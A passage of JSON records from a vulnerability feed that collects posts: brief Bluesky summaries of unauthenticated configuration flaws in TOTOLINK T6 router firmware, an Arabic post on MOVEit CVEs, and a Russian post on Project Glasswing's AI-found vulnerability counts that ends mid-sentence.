#infosec", "creation_timestamp": "2026-09-01T14:50:04.422037Z"}, {"uuid": "66899873-0f41-4c87-8383-5c42d858a7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51724", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muho6gbk232o", "content": "CVE-2026-51724\nThe TOTOLINK T6 device running version 4.1.5 allows anyone on the network to send a special request that erases its Smart QoS (traffic\u2011priority) settings without logging in. This could cause important\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:50:06.039830Z"}, {"uuid": "1fd71f21-3996-4ddb-97d9-93a011bb99e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51700", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhoqblhgg25", "content": "CVE-2026-51700\nThe router\u2019s web interface does not properly check who can change advanced Wi\u2011Fi settings. An attacker on the same network could send a specially crafted request and weaken or disrupt the wireless performance.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:00:05.266153Z"}, {"uuid": "7b50b436-de93-446d-86a0-39e0d1693dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51699", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhoqd5pxh2m", "content": "CVE-2026-51699\nThe router model TOTOLINK T6 (firmware 4.1.5cu.748_B20211015) does not correctly verify who can change its DMZ settings. An unauthenticated attacker can send a specially crafted request to make an internal\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:00:06.819505Z"}, {"uuid": "8ae4c75d-6eb9-4c11-8fe7-6563d1795974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51698", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhpc5dn3x2m", "content": "CVE-2026-51698\nThe router model TOTOLINK T6 (firmware version 4.1.5cu.748) does not properly check who can use the setUrlFilterRules function. An attacker on the network can send a specially crafted request to change the web\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:10:04.831772Z"}, {"uuid": "6b07a5d5-0f66-4cff-b46b-a09eab49f142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51697", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhpc6v5t62b", "content": "CVE-2026-51697\nThe T6 router firmware version 4.1.5 allows anyone on the network to send a special web request that changes the IPTV configuration. This could disrupt TV service or redirect streams without needing a password.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:10:06.768162Z"}, {"uuid": "72ce4d9d-e4ba-4d9a-b1dd-7b88fe9d5bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51693", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhptzhins2y", "content": "CVE-2026-51693\nThe TOTOLINK T6 device running version 4.1.5 allows anyone on the network to send a specially crafted web request that changes the router\u2019s VPN settings and weakens its edge\u2011filtering protection. This could let\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:20:04.744069Z"}, {"uuid": "13d7fdfb-66ee-4b65-9c55-cbaad14977e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51717", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhpu32w562o", "content": "CVE-2026-51717\nThe T6 router firmware version 4.1.5 allows anyone on the network to change its operating mode by sending a specially crafted request. This could disrupt network performance or open the device to further\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:20:06.358132Z"}, {"uuid": "92e0faa4-75db-452f-b381-0915098fbe39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51696", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhqfvqcgc2y", "content": "CVE-2026-51696\nThe TOTOLINK T6 device running version 4.1.5cu.748_B20211015 does not properly check who can change its port\u2011forwarding settings. An attacker on the internet could send a specially crafted request and cause the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:30:04.841488Z"}, {"uuid": "657ce97c-b9db-405e-9059-eb13143e0e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51709", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhqfxdi4k2y", "content": "CVE-2026-51709\nThe T6 router firmware version 4.1.5 allows anyone on the network to send a specially\u2011crafted request that changes the main Wi\u2011Fi configuration without logging in. This could let an attacker disrupt your\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:30:06.079722Z"}, {"uuid": "4457cbf8-f283-4646-90c7-7cc86f4a7bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51713", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhqxs7ztq2o", "content": "CVE-2026-51713\nThe TOTOLINK T6 router version 4.1.5 allows anyone on the network to send a special request that changes how the router connects to the internet. This could let an attacker disrupt or control the WAN connection\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:40:05.237795Z"}, {"uuid": "29be6915-4117-4083-9220-dbd35d10d5d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51726", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhqxtw55a2o", "content": "CVE-2026-51726\nThe T6 router firmware version 4.1.5 allows anyone on the network to send a special web request that removes parental\u2011control settings. This means unwanted changes to content filters can be made without a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:40:07.041387Z"}, {"uuid": "008eca30-5d36-4996-9c29-7503fde8008f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51722", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhrjokich2t", "content": "CVE-2026-51722\nThe TOTOLINK T6 router lets anyone on the network change its repeater settings by sending a specially crafted request, causing it to connect to a Wi\u2011Fi network controlled by an attacker. This can expose all\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:50:05.231782Z"}, {"uuid": "85670b83-a44b-497e-9fa4-91190688e8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51710", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhrjq4um72t", "content": "CVE-2026-51710\nThe admin web interface of the TOTOLINK T6 router (firmware version 4.1.5cu.748) does not correctly verify who can send commands to change parental\u2011control settings. An attacker on the network could send a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T15:50:06.944971Z"}, {"uuid": "08933302-6317-4795-8fb8-72f081922a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51715", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhs3lamsi2g", "content": "CVE-2026-51715\nThe T6 router\u2019s software does not properly verify who can change its device\u2011address filter list. This allows anyone on the network to send a simple request that removes those filters, letting unauthorized\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T16:00:05.588064Z"}, {"uuid": "0c346579-aecd-4fb5-997a-f2c946c476a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51721", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhs3mtknj2v", "content": "CVE-2026-51721\nThe T6 router firmware version 4.1.5 allows anyone on the network to send a special request that changes how the device joins a mesh network. This could let an attacker disrupt or control the wireless layout\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T16:00:07.229174Z"}, {"uuid": "e3b151d0-e46f-4511-a76b-e228ee4a0f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51743", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mui3ljzyaw2t", "content": "CVE-2026-51743\nThe guest Wi\u2011Fi feature on certain TOTOLINK T6 routers can be turned off by anyone who sends a specially crafted message to the device. This could disrupt internet access for visitors or guests using the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T18:50:04.929488Z"}, {"uuid": "9f89d825-1d0a-4507-8338-352a15abe7c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://t.me/HackerNewsAR/2461", "content": "\u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0643\u062a\u0634\u0641\u0629:\nCVE-2026-4670 (\u062d\u0631\u062c\u0629 \u062c\u062f\u0627\u064b): \u062b\u063a\u0631\u0629 \u062a\u0633\u0645\u062d \u0628\u0640 \u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629 (Authentication Bypass) \u0639\u0628\u0631 \u0648\u0627\u062c\u0647\u0627\u062a \u0645\u0646\u0627\u0641\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0641\u064a \u0627\u0644\u062e\u0644\u0641\u064a\u0629\u060c \u0645\u0645\u0627 \u064a\u0645\u0643\u0651\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \"\u0639\u0646 \u0628\u064f\u0639\u062f\" \u0645\u0646 \u0627\u0644\u062f\u062e\u0648\u0644 \u0644\u0644\u0646\u0638\u0627\u0645 \u062f\u0648\u0646 \u0627\u0644\u062d\u0627\u062c\u0629 \u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f. \u062d\u0635\u0644\u062a \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0644\u0649 \u062a\u0635\u0646\u064a\u0641 \u062e\u0637\u0648\u0631\u0629 9.8 \u0645\u0646 10.\n\nCVE-2026-5174 (\u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u062e\u0637\u0648\u0631\u0629): \u062b\u063a\u0631\u0629 \u062a\u062a\u0639\u0644\u0642 \u0628\u0640 \u0631\u0641\u0639 \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a (Privilege Escalation) \u0628\u0633\u0628\u0628 \u062e\u0644\u0644 \u0641\u064a \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a\u060c \u0645\u0645\u0627 \u064a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0630\u064a \u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u062f\u062e\u0648\u0644 \u0627\u0643\u062a\u0633\u0627\u0628 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \"\u0645\u0633\u0624\u0648\u0644 \u0627\u0644\u0646\u0638\u0627\u0645\".\n#HackerNews\n#MOVEit", "creation_timestamp": "2026-09-01T20:00:04.879615Z"}, {"uuid": "ef590a1b-b20a-452c-836e-44ec68cd3b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5199", "type": "seen", "source": "https://t.me/Russian_OSINT/7197", "content": "\ud83c\ude01 \u041f\u0435\u0440\u0432\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442 Glasswing\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Anthropic \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u0435\u0436\u0438\u0435 \u0446\u0438\u0444\u0440\u044b \u043f\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0435 Project Glasswing. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043e\u043a\u043e\u043b\u043e 50 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \ud83e\udd16Mythos Preview \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \ud83d\ude06\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u2194\ufe0f10 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udda5 \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 2 000 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0418\u0437 \u043d\u0438\u0445 400 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c, \u0447\u0435\u043c \u0443 \u043b\u044e\u0434\u0435\u0439-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\ud83e\uddca \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u043d\u0430\u0448\u043b\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 271 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox 150.\n\n\ud83c\uddec\ud83c\udde7\u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e Mythos \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u043b\u0438\u0433\u043e\u043d\u0430\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Anthropic \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u0430 \u043d\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438. \u041d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0441\u0432\u043e\u044e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0431\u0430\u043d\u043a\u043e\u0432-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0432 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $1,5 \u043c\u043b\u043d.\n\n\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\ud83d\udd0d \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\u2022 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u044f\u0432\u0438\u043b\u0430 23 019 \"\u043d\u0430\u0445\u043e\u0434\u043e\u043a\". \u0424\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438.\n\u2022 \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438 1 900 \u043d\u0430\u0445\u043e\u0434\u043e\u043a.\n\u2022 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c 1 726 \u0431\u0430\u0433\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043b\u044f \u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 90,8%.\n\u2022 \u041e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-27654, CVE-2026-5199 \u0438 CVE-2026-5466.\n\n\ud83d\udce8 \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \n\u2022 \u0410\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u043e 1 596 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\u2022 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0445\u0432\u0430\u0442\u0438\u043b\u0430 281 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u041f\u041e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e 1 451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udee1 \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 97 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\u2022 \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e 88 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CVE \u0438 GHSA.\n\n\ud83d\udc46\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u043b\u0438\u0437 \ud83e\udd16Mythos \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\n\n--------------------------\n\n\ud83d\udcd6\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c 